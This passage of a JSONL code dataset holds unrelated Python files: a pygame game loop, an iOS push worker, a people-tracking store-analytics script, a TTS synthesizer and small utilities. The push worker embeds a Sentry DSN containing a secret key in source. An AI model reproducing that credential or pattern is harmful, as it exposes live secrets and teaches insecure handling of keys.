platform_list.append(plt)\r\n if(plt.aquarium):\r\n platform_list.append(Aquarium(plt))\r\n if(plt.lampe):\r\n platform_list.append(Light(plt))\r\n #Here the Game-loop\r\n game = True\r\n while game:\r\n \r\n if(test%200 == 0):\r\n speed += 0.5\r\n \r\n if(not player.jumping or player.falling):\r\n player.y += speed\r\n for pltf in platform_list:\r\n pltf.y += speed\r\n if(pltf.y > win_height+500):\r\n platform_list.remove(pltf)\r\n plt = Platform() if(random.randint(0,1)) else Drawer()\r\n platform_list.append(plt)\r\n if(plt.aquarium):\r\n platform_list.append(Aquarium(plt))\r\n if(plt.lampe):\r\n platform_list.append(Light(plt))\r\n if(pltf.y < -10000):\r\n platform_list.remove(pltf)\r\n \r\n keys = pygame.key.get_pressed()\r\n #Horizontal\r\n if keys[pygame.K_LEFT]: player.move_left()\r\n elif keys[pygame.K_RIGHT]: player.move_right()\r\n else: player.not_walking()\r\n \r\n #Vertical \r\n if(keys[pygame.K_SPACE] or keys[pygame.K_UP]):\r\n if(player.double_jump%3 != 0):\r\n player.set_jumping()\r\n if(player.delay < 0):\r\n player.jump_height = 9\r\n player.double_jump += 1\r\n player.delay = 5\r\n \r\n player.do_jumping()\r\n player.check_fall()\r\n player.do_falling() \r\n player.check_standing()\r\n player.check_landing()\r\n \r\n #Falling down\r\n if(player.y > win_height):\r\n time.sleep(3)\r\n return True\r\n \r\n for event in pygame.event.get():\r\n if(event.type == pygame.QUIT):\r\n return False\r\n \r\n redraw_game_window()\r\n clock.tick(fps) #tick internal clock\r\n test += 1\r\n player.delay -= 1\r\n \r\n \r\n'''Setup'''\r\n# put run-once code here\r\nwin_width = 1080\r\nwin_height = 720\r\nfps = 25 # frame rate\r\n\r\npygame.init()\r\nwin = pygame.display.set_mode((win_width,win_height))\r\npygame.display.set_caption(\"The Dog Game\")\r\nclock = pygame.time.Clock()\r\nmyfont = pygame.font.SysFont('Arial', 30)\r\nmain = True\r\n\r\nwhile main:\r\n '''Here the Settings for the Beginning of the loop'''\r\n platform_list.clear()\r\n floor = Platform()\r\n platform_list.append(floor)\r\n player = Player(floor)\r\n \r\n switch = menu_loop()\r\n \r\n if(switch):\r\n main = game_loop(player)\r\n else:\r\n main = False\r\n \r\npygame.quit()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"59833803","text":"import datetime\nimport time\nimport json\nimport sys, getopt\nimport logging\nfrom logging.config import fileConfig\nfrom configparser import ConfigParser\nimport random\n\nfrom apnsclient import *\nimport redis\nfrom raven import Client\nimport psycopg2\nimport psycopg2.extras\n\nimport OpenSSL\nOpenSSL.SSL.SSLv3_METHOD = OpenSSL.SSL.TLSv1_METHOD\n\ndef remove_token(token):\n cur.execute(\"DELETE FROM device.device_pushbinding WHERE client_id = %s\", (token, ))\n\ndef usage():\n print ('Usage: ' + sys.argv[0] + ' [option] [args...]')\n print (' -a app_id : app_id is field in table service.sdk_app')\n print (' -h : print this help message')\n\nif __name__ == \"__main__\":\n\n # 接收参数\n opts, args = getopt.getopt(sys.argv[1:], \"ha:\")\n app_id = \"\"\n for op, value in opts:\n if op == \"-a\":\n app_id = value\n elif op == \"-h\":\n usage()\n sys.exit()\n\n default_app_id = \"a47a7898481eabf77a1a5ce061f7908b\"\n if app_id == \"\":\n app_id = default_app_id\n\n # 注册Sentry client\n client = Client('http://7f333fd4332543609bb053d4b49a75e9:df02da320a0a4299ad605ec45383e8ed@ddlog.doordu.com:9098/9')\n\n # 加载Log配置\n fileConfig('config/' + app_id + '.ini')\n logger = logging.getLogger()\n logger.debug(\"启动IOS推送服务\")\n\n # 加载配置文件\n logger.debug(\"加载配置\")\n config = ConfigParser()\n config.read('config/' + app_id + '.ini')\n\n # 连接Redis\n r = redis.StrictRedis(host=config.get('redis', 'host'),\n port=config.getint('redis', 'port'),\n db=config.getint('redis', 'db'),\n password=config.get('redis', 'password'))\n\n session = Session()\n use_sandbox = config.getboolean(\"general\", \"use_sandbox\")\n con = session.get_connection(\"push_sandbox\" if use_sandbox else \"push_production\",\n cert_file=\"certs/\" + app_id + \"_dev.pem\" if use_sandbox else \"certs/\" + app_id + \"_pro.pem\",\n passphrase=config.get(\"general\", \"passphrase\"))\n\n conn = psycopg2.connect(database=config.get(\"db\", \"dbname\"),\n user=config.get(\"db\", \"username\"),\n password=config.get(\"db\", \"password\"),\n port=config.getint(\"db\", 'port'),\n host=config.get(\"db\", \"host\"))\n conn.autocommit = True\n\n cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n\n logger.debug(\"等待消息队列\")\n\n while True:\n try:\n ios_key = config.get('general', 'ios_key')\n item = r.brpop(ios_key)\n logger.debug(\"ios_key: %s\", ios_key)\n item = item[1].decode(\"utf-8\")\n logger.debug(\"获取到推送请求内容: %r\", item)\n item = json.loads(item, encoding='utf-8')\n alert = item['title']\n tokens = item['device_token']\n sound = item['sound']\n priority = int(item['priority'])\n expiry = item['expiry']\n extra = item['content']\n if isinstance(tokens, str):\n tokens = tokens.replace(' ', '')\n tokens = [tokens, ]\n elif isinstance(tokens,list):\n temp = []\n for tmp in tokens:\n tt = tmp.replace(' ', '')\n temp.append(tt)\n tokens = temp\n\n if item['expiry'] is not None:\n expiry = datetime.datetime.strptime(item['expiry'], '%Y-%m-%d %H:%M:%S')\n\n if not len(tokens):\n logger.info(\"Token列表为空，忽略推送！\")\n continue\n\n while True:\n has_invalid_token = False\n message = Message(tokens, alert=alert, sound=sound, badge=1, expiry=expiry, extra=extra)\n service = APNs(con)\n\n res = service.send(message)\n\n # Check failures. Check codes in APNs reference docs.\n for token, reason in res.failed.items():\n code, errmsg = reason\n logger.error(\"推送失败！Token: {0}, 错误: {1}, code: {2}\".format(token, errmsg, code))\n client.captureMessage(\"推送失败！Token: {0}, 错误: {1}, code: {2}\".format(token, errmsg, code))\n if code == 8:\n logger.error(\"移除Token: {0}\".format(token))\n tokens.remove(token)\n remove_token(token)\n has_invalid_token = True\n\n if has_invalid_token:\n continue\n\n\n # Check failures not related to devices.\n for code, errmsg in res.errors:\n logger.error(\"推送出错！错误: %s\", errmsg)\n client.captureMessage(\"推送出错！Token: {0}, 错误: {1}\".format(token, errmsg))\n\n # Check if there are tokens that can be retried\n if res.needs_retry():\n # repeat with retry_message or reschedule your task\n retry_message = res.retry()\n break\n\n logger.debug(\"推送消息[%s]完成\", alert)\n except (TypeError, KeyError):\n exc_type, exc_value = sys.exc_info()[:2]\n logger.error(\"处理 %s 异常，内容：%s\", exc_type.__name__, exc_value)\n client.captureMessage(\"处理 {} 异常，内容：{}\".format(exc_type.__name__, exc_value))\n","sub_path":"ios.py","file_name":"ios.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"356039888","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division, print_function, absolute_import\n\n# Importing standard libraries\nimport os\nimport sys\nimport cv2\nimport csv\nimport warnings\nimport numpy as np\nfrom PIL import Image\nfrom yolo import YOLO\nfrom timeit import time\nimport matplotlib.pyplot as plt\nfrom moviepy.editor import VideoFileClip\n\n# Importing other custom .py files\nfrom deep_sort import nn_matching\nfrom deep_sort import preprocessing\nfrom deep_sort.tracker import Tracker\nfrom deep_sort.detection import Detection\nfrom tools import generate_detections as gdet\nfrom deep_sort.detection import Detection as ddet\n\nwarnings.filterwarnings('ignore')\n\n# Function to check whether a point is inside a defined area\n# We are checking if the bottom line of the bounding box enters an area of interest\ndef center_point_inside_polygon(bounding_box, polygon_coord):\n center = (int((bounding_box[0] + bounding_box[2])/2), int(bounding_box[3]))\n polygon_coord = np.array(polygon_coord, np.int32)\n polygon_coord = polygon_coord.reshape((-1, 1, 2))\n result = cv2.pointPolygonTest(polygon_coord, center, False)\n if result == -1:\n return \"outside\"\n return \"inside\"\n\n# Main Function which implements the YOLOv3 Detector and DeepSort Tracking Algorithm\ndef main(yolo):\n\n # Determining the FPS of a video having variable frame rate\n # cv2.CAP_PROP_FPS is not used since it returns 'infinity' for variable frame rate videos\n filename = \"cyber.mp4\"\n # Determining the total duration of the video\n clip = VideoFileClip(filename)\n\n cap2 = cv2.VideoCapture(filename)\n co = 0\n ret2 = True\n while ret2:\n ret2, frame2 = cap2.read()\n # Determining the total number of frames\n co += 1\n cap2.release()\n\n # Computing the average FPS of the video\n Input_FPS = co / clip.duration\n\n # Definition of the parameters\n max_cosine_distance = 0.3\n nn_budget = None\n nms_max_overlap = 1.0\n frame_count = 0\n \n # Implementing Deep Sort algorithm\n model_filename = 'model_data/mars-small128.pb'\n encoder = gdet.create_box_encoder(model_filename,batch_size=1)\n \n # Cosine distance is used as the metric\n metric = nn_matching.NearestNeighborDistanceMetric(\"cosine\", max_cosine_distance, nn_budget)\n tracker = Tracker(metric)\n \n video_capture = cv2.VideoCapture(filename)\n\n # Define the codec and create a VideoWriter object to save the output video\n out = cv2.VideoWriter('output.mp4', cv2.VideoWriter_fourcc(*'MP4V'), Input_FPS, (int(video_capture.get(3)), int(video_capture.get(4))))\n\n # To calculate the frames processed by the deep sort algorithm per second\n fps = 0.0\n\n # Initializing empty variables for counting and tracking purpose\n queue_track_dict = {} # Count time in queue\n alley_track_dict = {} # Count time in alley\n store_track_dict = {} # Count total time in store\n latest_frame = {} # Track the last frame in which a person was identified\n reidentified = {} # Yes or No : whether the person has been re-identified at a later point in time\n plot_head_count_store = [] # y-axis for Footfall Analysis\n plot_head_count_queue = [] # y-axis for Footfall Analysis\n plot_time = [] # x-axis for Footfall Analysis\n\n # Loop to process each frame and track people\n while True:\n ret, frame = video_capture.read()\n if ret != True:\n break\n\n head_count_store = 0\n head_count_queue = 0\n t1 = time.time()\n\n image = Image.fromarray(frame[...,::-1]) # BGR to RGB conversion\n boxs = yolo.detect_image(image)\n features = encoder(frame,boxs)\n \n # Getting the detections having score of 0.0 to 1.0\n detections = [Detection(bbox, 1.0, feature) for bbox, feature in zip(boxs, features)]\n \n # Run non-maxima suppression on the bounding boxes\n boxes = np.array([d.tlwh for d in detections])\n scores = np.array([d.confidence for d in detections])\n indices = preprocessing.non_max_suppression(boxes, nms_max_overlap, scores)\n detections = [detections[i] for i in indices]\n \n # Call the tracker to associate tracking boxes to detection boxes\n tracker.predict()\n tracker.update(detections)\n\n # Defining the co-ordinates of the area of interest\n pts = np.array([[780,230],[1025,230],[1020,400],[600,400]], np.int32)\n pts = pts.reshape((-1,1,2)) # Queue Area\n pts2 = np.array([[600,400],[1020,400],[970,720],[270,720]], np.int32)\n pts2 = pts2.reshape((-1,1,2)) # Alley Region\n cv2.polylines(frame, [pts], True, (0,255,255), thickness=2)\n cv2.polylines(frame, [pts2], True, (255,0,255), thickness=2)\n \n # Drawing tracker boxes and frame count for people inside the areas of interest\n for track in tracker.tracks:\n if not track.is_confirmed() or track.time_since_update > 1:\n continue \n bbox = track.to_tlbr()\n\n # Checking if the person is within an area of interest\n queue_point_test = center_point_inside_polygon(bbox, pts2)\n alley_point_test = center_point_inside_polygon(bbox, pts)\n\n # Checking if a person has been reidentified in a later frame\n if queue_point_test == 'inside' or alley_point_test == 'inside':\n if track.track_id in latest_frame.keys():\n if latest_frame[track.track_id] != frame_count - 1:\n reidentified[track.track_id] = 1\n\n # Initializing variables incase a new person has been seen by the model\n if queue_point_test == 'inside' or alley_point_test == 'inside':\n head_count_store += 1\n if track.track_id not in store_track_dict.keys():\n store_track_dict[track.track_id] = 0\n queue_track_dict[track.track_id] = 0\n alley_track_dict[track.track_id] = 0\n reidentified[track.track_id] = 0\n\n # Processing for people inside the Queue Area\n if queue_point_test == 'inside':\n head_count_queue += 1\n queue_track_dict[track.track_id] += 1\n latest_frame[track.track_id] = frame_count\n cv2.rectangle(frame, (int(bbox[0]), int(bbox[1])), (int(bbox[2]), int(bbox[3])),(255,255,255), 2)\n wait_time = round((queue_track_dict[track.track_id] / Input_FPS), 2)\n cv2.putText(frame, str(track.track_id) + \": \" + str(wait_time) + \"s\", (int(bbox[0]), int(bbox[1])), 0, 0.8, (0, 0, 0), 4)\n cv2.putText(frame, str(track.track_id) + \": \" + str(wait_time) + \"s\", (int(bbox[0]), int(bbox[1])), 0, 0.8, (0, 255, 77), 2)\n\n # Processing for people inside the Alley Region\n if alley_point_test == 'inside':\n alley_track_dict[track.track_id] += 1\n latest_frame[track.track_id] = frame_count\n cv2.rectangle(frame, (int(bbox[0]), int(bbox[1])), (int(bbox[2]), int(bbox[3])),(255,255,255), 2)\n cv2.putText(frame, str(track.track_id), (int(bbox[0]), int(bbox[1])), 0, 0.8, (0, 0, 0), 4)\n cv2.putText(frame, str(track.track_id), (int(bbox[0]), int(bbox[1])), 0, 0.8, (0, 255, 77), 2)\n\n # Getting the total Store time for a person\n if track.track_id in store_track_dict.keys():\n store_track_dict[track.track_id] = queue_track_dict[track.track_id] + alley_track_dict[track.track_id]\n\n # Drawing bounding box detections for people inside the store\n for det in detections:\n bbox = det.to_tlbr()\n\n # Checking if the person is within an area of interest\n queue_point_test = center_point_inside_polygon(bbox, pts)\n alley_point_test = center_point_inside_polygon(bbox, pts2)\n\n if queue_point_test == 'inside' or alley_point_test == 'inside':\n cv2.rectangle(frame, (int(bbox[0]), int(bbox[1])), (int(bbox[2]), int(bbox[3])), (255,0,0), 2)\n\n # Video Overlay - Head Count Data at that instant\n cv2.putText(frame, \"Count: \" + str(head_count_store), ( 30, 610 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 0, 0), 3, cv2.LINE_AA, False)\n cv2.putText(frame, \"Count: \" + str(head_count_store), ( 30, 610 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 255, 77), 2, cv2.LINE_AA, False)\n\n # Calculating the average wait time in queue\n total_people = len([v for v in queue_track_dict.values() if v > 0])\n total_queue_frames = sum(v for v in queue_track_dict.values() if v > 0)\n avg_queue_frames = 0\n if total_people != 0:\n avg_queue_frames = total_queue_frames / total_people\n avg_queue_time = round((avg_queue_frames / Input_FPS), 2)\n\n # Video Overlay - Average Wait Time in Queue\n cv2.putText(frame, \"Avg Queue Time: \" + str(avg_queue_time) + 's', ( 30, 690 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 0, 0), 3, cv2.LINE_AA, False)\n cv2.putText(frame, \"Avg Queue Time: \" + str(avg_queue_time) + 's', ( 30, 690 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 255, 77), 2, cv2.LINE_AA, False)\n\n # Calculating the average wait time in the store\n total_people = len(store_track_dict)\n total_store_frames = sum(store_track_dict.values())\n avg_store_frames = 0\n if total_people != 0:\n avg_store_frames = total_store_frames / total_people\n avg_store_time = round((avg_store_frames / Input_FPS), 2)\n\n # Video Overlay - Average Store time\n cv2.putText(frame, \"Avg Store Time: \" + str(avg_store_time) + 's', ( 30, 650 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 0, 0), 3, cv2.LINE_AA, False)\n cv2.putText(frame, \"Avg Store Time: \" + str(avg_store_time) + 's', ( 30, 650 ), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1.5, (0, 255, 77), 2, cv2.LINE_AA, False)\n\n # Write the frame onto the VideoWriter object\n out.write(frame)\n\n # Calculating the frames processed per second by the model \n fps = ( fps + (1./(time.time()-t1)) ) / 2\n frame_count += 1\n\n # Printing processing status to track completion\n op = \"FPS_\" + str(frame_count) + \"/\" + str(co) + \": \" + str(round(fps, 2))\n print(\"\\r\" + op , end = \"\")\n\n # Adding plot values for Footfall Analysis every 2 seconds (hard coded for now)\n if frame_count % 50 == 0:\n plot_time.append(round((frame_count / Input_FPS), 2))\n plot_head_count_store.append(head_count_store)\n plot_head_count_queue.append(head_count_queue)\n \n # Press Q to stop the video\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n # Data Processed as per the video provided\n print(\"\\n-----------------------------------------------------------------------\")\n print(\"QUEUE WAIT TIME ( Unique Person ID -> Time spent )\\n\")\n for k, v in queue_track_dict.items():\n print(k, \"->\", str(round((v/Input_FPS), 2)) + \" seconds\")\n\n print(\"\\n-----------------------------------------------------------------------\")\n print(\"ALLEY TIME ( Unique Person ID -> Time spent )\\n\")\n for k, v in alley_track_dict.items():\n print(k, \"->\", str(round((v/Input_FPS), 2)) + \" seconds\")\n\n print(\"\\n-----------------------------------------------------------------------\")\n print(\"STORE TIME ( Unique Person ID -> Time spent )\\n\")\n for k, v in store_track_dict.items():\n print(k, \"->\", str(round((v/Input_FPS), 2)) + \" seconds\")\n\n # Defining data to be written into the csv file - Detailed Report\n csv_columns = ['Unique Person ID', 'Queue Time in AOI', 'Total Store Time', 'Re-Identified']\n csv_data = []\n csv_row = {}\n detailed_csv_file = 'Detailed_Store_Report.csv'\n for k, v in store_track_dict.items():\n csv_row = {}\n if reidentified[k] == 1:\n reid = 'Yes'\n else:\n reid = 'No'\n csv_row = {csv_columns[0]: k, csv_columns[1]: round((queue_track_dict[k] / Input_FPS), 2), csv_columns[2]: round((v / Input_FPS), 2), csv_columns[3]: reid}\n csv_data.append(csv_row)\n\n # Writing the data into the csv file - Detailed Report\n with open(detailed_csv_file, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=csv_columns)\n writer.writeheader()\n for data in csv_data:\n writer.writerow(data)\n\n # Defining data to be written into the csv file - Brief Report\n csv_columns_brief = ['Total Head Count', 'Total Queue Time', 'Average Queue Time', 'Total Store Time', 'Average Store Time']\n brief_csv_file = 'Brief_Store_Report.csv'\n csv_data_brief = {csv_columns_brief[0]: len(store_track_dict), csv_columns_brief[1]: round((sum(queue_track_dict.values()) / Input_FPS), 2), csv_columns_brief[2]: avg_queue_time, csv_columns_brief[3]: round((sum(store_track_dict.values()) / Input_FPS), 2), csv_columns_brief[4]: avg_store_time}\n\n # Writing the data into the csv file - Brief Report\n with open(brief_csv_file, 'w') as csvfile:\n writer = csv.DictWriter(csvfile, fieldnames=csv_columns_brief)\n writer.writeheader()\n writer.writerow(csv_data_brief)\n\n # Plotting a time-series line graph for store and queue head count data and saving it as a .png file\n plt.plot(plot_time, plot_head_count_queue)\n plt.plot(plot_time, plot_head_count_store)\n plt.legend(['Queue Head Count', 'Store Head Count'], loc='upper left')\n plt.xlabel('Time Stamp (in seconds)')\n plt.ylabel('Head Count')\n plt.xlim(0, round(frame_count / Input_FPS) + 1)\n plt.ylim(0, max(plot_head_count_store) + 2)\n plt.title('Footfall Analysis')\n plt.savefig('Footfall_Analysis.png', bbox_inches='tight')\n\n # Printing plot data\n for i in range(len(plot_time)):\n print(plot_time[i], plot_head_count_queue[i], plot_head_count_store[i]) \n\n # Releasing objects created\n video_capture.release()\n out.release()\n cv2.destroyAllWindows()\n\nif __name__ == '__main__':\n main(YOLO())\n","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":14184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"518388365","text":"import league\nimport pygame\n\nclass Background(league.DGameObject):\n \"\"\"\n Since we have a side scroller, we can't use the level as a background.\n Instead we need to insert a custom background underneth the main map. This\n class facilitates that. \n \"\"\"\n def __init__(self, image_path, x=0, layer=0):\n \"\"\"\n Inits background sprite\n\n param - image_path: The path to the background\n param - layer: The layer this background will exist on.\n \"\"\"\n super().__init__(self)\n self._layer = layer\n self.image = pygame.image.load(image_path).convert_alpha()\n self.image = pygame.transform.scale(self.image, (league.Settings.width, league.Settings.height))\n self.rect = self.image.get_rect()\n self.x = x\n self.y = 0\n self.rect.x = x\n self.rect.y = 0\n self.static = True\n","sub_path":"neon-souls/background.py","file_name":"background.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"538028912","text":"#!/usr/bin/env python3\n\n'''\nR-1.3 Write a short Python function, minmax(data), that takes a sequence of one or more numbers, and returns the smallest and largest numbers, in the form of a tuple of length two.\nDo not use the built-in functions min or max in implementing your solution.\n'''\n\ndef minmax(data):\n mi = ma = data[0]\n for item in data:\n if item < mi:\n mi = item\n if item > ma:\n ma = item\n return mi, ma\n\nif __name__ == '__main__':\n print('minmax([5, 7, 9, 3]):', minmax([5, 7, 9, 3]))\n #print('minmax([]):', minmax([]))\n","sub_path":"ch01/r-1.3.py","file_name":"r-1.3.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"123504202","text":"#from __future__ import print_function\r\nimport sys, os\r\nsys.path.insert(0, 'evoman') \r\nimport neat \r\nfrom environment import Environment\r\nfrom player_controllers import player_controller\r\n \r\nexperiment_name = 'neat_test'\r\nif not os.path.exists(experiment_name):\r\n os.makedirs(experiment_name)\r\n\r\nenv = Environment(experiment_name=experiment_name,\r\n playermode=\"ai\",\r\n player_controller=player_controller())\r\n\r\n\r\ndef fitness_player(genomes, config):\r\n for genome_id, g in genomes:\r\n g.fitness = 0\r\n g.fitness = env.play(pcont=g)\r\n \r\n\r\ndef run(config_file):\r\n # Load configuration.\r\n config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction,\r\n neat.DefaultSpeciesSet, neat.DefaultStagnation,\r\n config_file)\r\n\r\n # Create the population, which is the top-level object for a NEAT run.\r\n p = neat.Population(config)\r\n\r\n # Add a stdout reporter to show progress in the terminal.\r\n p.add_reporter(neat.StdOutReporter(True))\r\n stats = neat.StatisticsReporter()\r\n p.add_reporter(stats)\r\n p.add_reporter(neat.Checkpointer(5))\r\n\r\n # Run for up to 300 generations.\r\n winner = p.run(fitness_player, 300)\r\n\r\n # Display the winning genome.\r\n print('\\nBest genome:\\n{!s}'.format(winner))\r\n\r\n \r\nif __name__ == '__main__':\r\n # Determine path to configuration file. This path manipulation is\r\n # here so that the script will run successfully regardless of the\r\n # current working directory.\r\n local_dir = os.path.dirname(__file__)\r\n config_path = os.path.join(local_dir, 'neat_config_file.txt')\r\n run(config_path)","sub_path":"neat_test.py","file_name":"neat_test.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"434194108","text":"import numpy as np\nfrom scipy import stats\nimport statsmodels.api as sm\nfrom matplotlib import pyplot as plt\nfrom tick.random import test_uniform, test_gaussian, test_poisson, \\\n test_exponential, test_uniform_int, test_discrete, test_uniform_threaded\n\n\nclass QQplot:\n def __init__(self,\n test_seed: int = 12099,\n stat_size: int = 50000,\n ):\n self.test_seed = test_seed\n self.stat_size = stat_size\n\n def randint(self,\n a: int = -2,\n b: int = 100,\n ):\n\n sample = test_uniform_int(a, b, self.stat_size, self.test_seed)\n fig, axs = plt.subplots(1, 1, tight_layout=True)\n axs.hist(sample, bins=b-a+1, density=True)\n fig.suptitle('uniform_int')\n return fig\n\n def poisson(self):\n rate = 5\n K = 20\n sample = test_poisson(rate, self.stat_size)\n fig, axs = plt.subplots(1, 1, tight_layout=True)\n axs.hist(sample, bins=K+2, range=(0, K+2), density=True)\n x = np.arange(K+2, dtype=int)\n y = np.array([stats.poisson.pmf(n, rate) for n in x], dtype=float)\n axs.plot(x, y, color='red')\n fig.suptitle('poisson')\n return fig\n\n def uniform(self):\n sample = test_uniform(self.stat_size, self.test_seed)\n fig = sm.qqplot(sample, stats.uniform, loc=0,\n scale=1, fit=False, line='45')\n fig.suptitle('uniform')\n return fig\n\n def gaussian(self):\n sample = test_gaussian(self.stat_size, self.test_seed)\n fig = sm.qqplot(sample, stats.norm, loc=0,\n scale=1, fit=False, line='45')\n fig.suptitle('gaussian')\n return fig\n\n def exponential(self):\n sample = test_exponential(1., self.stat_size, self.test_seed)\n fig = sm.qqplot(sample, stats.expon, loc=0,\n scale=1, fit=False, line='45')\n fig.suptitle('exponential')\n return fig\n\n\ndef main():\n qqplot = QQplot()\n qqplot.poisson()\n qqplot.uniform()\n qqplot.gaussian()\n qqplot.exponential()\n qqplot.randint()\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"tick/random/tests/qqplots.py","file_name":"qqplots.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"189003882","text":"import argparse\nimport os\nimport sys\nimport time\n\nimport numpy as np\nimport torch\nfrom parallel_wavegan.utils import load_model\n\nfrom espnet2.bin.tts_inference import Text2Speech\n\nfs = 22050\n\n\ndef to_int16(data):\n i = np.iinfo(np.int16)\n abs_max = 2 ** (i.bits - 1)\n offset = i.min + abs_max\n return (data * abs_max + offset).clip(i.min, i.max).astype(np.int16)\n\n\ndef write_wav(name, data):\n from scipy.io.wavfile import write\n write(name, fs, to_int16(data))\n\n\ndef rtf(start, end, w_len):\n return (end - start) / (w_len / fs)\n\n\ndef log_time(f, p1, p2):\n start_t = time.time()\n res = f(p1, p2)\n end_t = time.time()\n print(f\"elapsed = {(end_t - start_t):5f}s\")\n return res\n\n\ndef loadAM(amFile, dev):\n am_dir = os.path.dirname(amFile)\n mf = {'train_config': os.path.join(am_dir, 'config-run.yaml'),\n 'model_file': amFile}\n text2speech = Text2Speech(\n **mf,\n device=dev,\n # Only for Tacotron 2\n threshold=0.5,\n minlenratio=0.0,\n maxlenratio=10.0,\n use_att_constraint=False,\n backward_window=1,\n forward_window=3,\n # Only for FastSpeech & FastSpeech2\n speed_control_alpha=1.0,\n )\n text2speech.spc2wav = None # Disable griffin-lim\n return text2speech\n\n\ndef loadVocoder(vocFile, dev):\n vocoder = load_model(vocFile).to(dev).eval()\n vocoder.remove_weight_norm()\n return vocoder\n\n\ndef synthesize(phones, am, voc):\n with torch.no_grad():\n start_am = time.time()\n wav, c, *_ = am(phones)\n end_am = time.time()\n wav = voc.inference(c)\n end_voc = time.time()\n print(f\"RTF all = {rtf(start_am, end_voc, len(wav)):5f}, time = {(end_voc - start_am):5f}s\")\n print(f\"RTF am = {rtf(start_am, end_am, len(wav)):5f}, time = {(end_am - start_am):5f}s\")\n print(f\"RTF voc = {rtf(end_am, end_voc, len(wav)):5f}, time = {(end_voc - end_am):5f}s\")\n return wav.view(-1).cpu().numpy()\n\n\ndef main(argv):\n parser = argparse.ArgumentParser(description=\"Synthesizes wav file from phones\",\n epilog=\"E.g. cat input.txt | \" + sys.argv[0] + \"\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument(\"--out\", default='', type=str, help=\"Output File\", required=True)\n parser.add_argument(\"--am\", default='', type=str, help=\"AM File\", required=True)\n parser.add_argument(\"--voc\", default='', type=str, help=\"Vocoder File\", required=True)\n parser.add_argument(\"--dev\", default='cpu', type=str, help=\"Device: cpu | cuda | cuda:1\", required=False)\n args = parser.parse_args(args=argv)\n\n print(\"Starting\", file=sys.stderr)\n lines = []\n for line in sys.stdin:\n s_line = line.strip()\n lines.append(s_line)\n phones = \" \".join(lines).strip()\n\n print(\"Phones: == %s ==\" % phones, file=sys.stderr)\n print(\"Loading AM from : %s\" % args.am, file=sys.stderr)\n am = log_time(loadAM, args.am, args.dev)\n print(\"Loading Vocoder from : %s\" % args.voc, file=sys.stderr)\n voc = log_time(loadVocoder, args.voc, args.dev)\n print(\"Synthesizing...\", file=sys.stderr)\n data = synthesize(phones, am, voc)\n print(\"Saving audio\", file=sys.stderr)\n write_wav(args.out, data)\n\n print(\"Done\", file=sys.stderr)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"egs2/vytautas/variants/synthesize.py","file_name":"synthesize.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"308488721","text":"from transformers import BertPreTrainedModel, BertModel\nimport torch.nn as nn\nimport torch\nimport torch.nn.functional as F\n\nclass BERT(BertPreTrainedModel):\n def __init__(self, config):\n super(BERT, self).__init__(config)\n self.num_labels = config.num_labels\n self.bert = BertModel(config)\n self.dropout = nn.Dropout(0.1)\n \n self.pooler_output = config.pooler_output\n self.second_to_last = config.second_to_last\n self.concat_last_4hl = config.concat_last_4hl\n self.concat_12hl = config.concat_12hl\n self.sum_last_4hl = config.sum_last_4hl\n self.sum_12hl = config.sum_12hl\n \n if self.pooler_output or self.second_to_last or self.sum_last_4hl or self.sum_12hl:\n self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)\n elif self.concat_last_4hl:\n self.qa_outputs = nn.Linear(config.hidden_size * 4, config.num_labels)\n elif self.concat_12hl:\n self.qa_outputs = nn.Linear(config.hidden_size * 12, config.num_labels)\n \n self.init_weights()\n\n def compute(self, input_ids, attention_mask=None, token_type_ids=None):\n outputs = self.bert(input_ids, attention_mask=attention_mask, token_type_ids=token_type_ids)\n \n # Only last hidden layer\n if self.pooler_output:\n cls_output = outputs[1]\n # Second to last hidden layer\n elif self.second_to_last:\n cls_output = outputs[2][-1][:,0, ...]\n # Concat last 4 hidden layers\n elif self.concat_last_4hl:\n cls_output = torch.cat((outputs[2][-4][:,0, ...],outputs[2][-3][:,0, ...], outputs[2][-2][:,0, ...], outputs[2][-1][:,0, ...]), -1)\n # Concat 12 hidden layers\n elif self.concat_12hl:\n cls_output = torch.cat((outputs[2][0][:,0, ...],outputs[2][1][:,0, ...], outputs[2][2][:,0, ...], outputs[2][3][:,0, ...],\n outputs[2][4][:,0, ...],outputs[2][5][:,0, ...], outputs[2][6][:,0, ...], outputs[2][7][:,0, ...],\n outputs[2][8][:,0, ...],outputs[2][9][:,0, ...], outputs[2][10][:,0, ...], outputs[2][11][:,0, ...]), -1) \n # Sum last 4 hidden layers\n elif 